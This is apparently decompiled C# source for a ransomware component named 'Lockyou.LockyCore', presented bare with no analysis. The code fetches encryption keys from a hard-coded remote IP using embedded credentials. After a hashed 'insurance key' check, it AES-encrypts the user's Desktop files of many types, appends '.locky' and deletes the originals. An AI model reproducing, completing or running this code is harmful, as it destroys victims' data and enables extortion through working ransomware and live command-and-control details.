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| using System;
using System.IO;
using System.Net;
using System.Security.Cryptography;
using System.Text;
namespace Lockyou.LockyCore
{
public class AESCrypto
{
public AESCrypto()
{
this.BACKEND_URL = "http://39.101.170.47/";
this.PRIVATE_KEY = this.GetHttpContent(this.BACKEND_URL + "privateKey");
this.AES_KEY_ENC = this.GetHttpContent(this.BACKEND_URL + "encryptedAesKey");
this.AES_KEY = this.DecryptRSA(this.AES_KEY_ENC, this.PRIVATE_KEY);
}
private string GetHttpContent(string url)
{
HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(url);
httpWebRequest.Method = "GET";
httpWebRequest.ContentType = "application/x-www-form-urlencoded";
string str = Convert.ToBase64String(Encoding.ASCII.GetBytes("C2bAseUs2r:C@PsasR2"));
httpWebRequest.Headers[HttpRequestHeader.Authorization] = "Basic " + str;
HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse();
string result;
using (StreamReader streamReader = new StreamReader(httpWebResponse.GetResponseStream()))
{
result = streamReader.ReadToEnd();
}
return result;
}
private byte[] DecryptRSA(string encryptedData, string privateKey)
{
byte[] result;
using (RSACryptoServiceProvider rsacryptoServiceProvider = new RSACryptoServiceProvider())
{
rsacryptoServiceProvider.FromXmlString(privateKey);
byte[] rgb = Convert.FromBase64String(encryptedData);
result = rsacryptoServiceProvider.Decrypt(rgb, false);
}
return result;
}
public int EncryptFileStart(string insureKey)
{
MD5 md = new MD5CryptoServiceProvider();
StringBuilder stringBuilder = new StringBuilder();
byte[] array = md.ComputeHash(Encoding.Default.GetBytes(insureKey));
for (int i = 0; i < array.Length; i++)
{
stringBuilder.Append(array[i].ToString("x2"));
}
bool flag = stringBuilder.ToString() != "7a2ca8a306260205c1cd46dad0fbd598";
int result;
if (flag)
{
Console.WriteLine("Incorrect insurance key!");
result = 0;
}
else
{
int num = 0;
foreach (string searchPattern in this.FILE_TYPES)
{
string[] files = Directory.GetFiles(this.DESKTOP_PATH, searchPattern);
foreach (string text in files)
{
this.EncryptFile(text, text + ".locky");
num++;
}
}
result = num;
}
return result;
}
private void EncryptFile(string inputFile, string outputFile)
{
using (AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider())
{
aesCryptoServiceProvider.Key = this.AES_KEY;
aesCryptoServiceProvider.GenerateIV();
using (ICryptoTransform cryptoTransform = aesCryptoServiceProvider.CreateEncryptor())
{
using (FileStream fileStream = new FileStream(inputFile, FileMode.Open))
{
using (FileStream fileStream2 = new FileStream(outputFile, FileMode.Create))
{
using (CryptoStream cryptoStream = new CryptoStream(fileStream2, cryptoTransform, CryptoStreamMode.Write))
{
fileStream2.Write(aesCryptoServiceProvider.IV, 0, aesCryptoServiceProvider.IV.Length);
fileStream.CopyTo(cryptoStream);
}
}
}
}
}
File.Delete(inputFile);
}
private string BACKEND_URL;
private string PRIVATE_KEY;
private string AES_KEY_ENC;
private byte[] AES_KEY;
private string DESKTOP_PATH = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory);
private string[] FILE_TYPES = new string[]
{
"*.txt",
"*.xlsx",
"*.jpg",
"*.png",
"*.gif",
"*.pdf",
"*.mp4",
"*.wav",
"*.mp3",
"*.bak",
"*.docx",
"*.pptx",
"*.gif",
"*.zip",
"*.csv",
"*.sql",
"*.ini",
"*.html",
"*.php",
"*.js",
"*.css",
"*.py",
"*.cs",
"*.cpp",
"*.c"
};
}
}
|
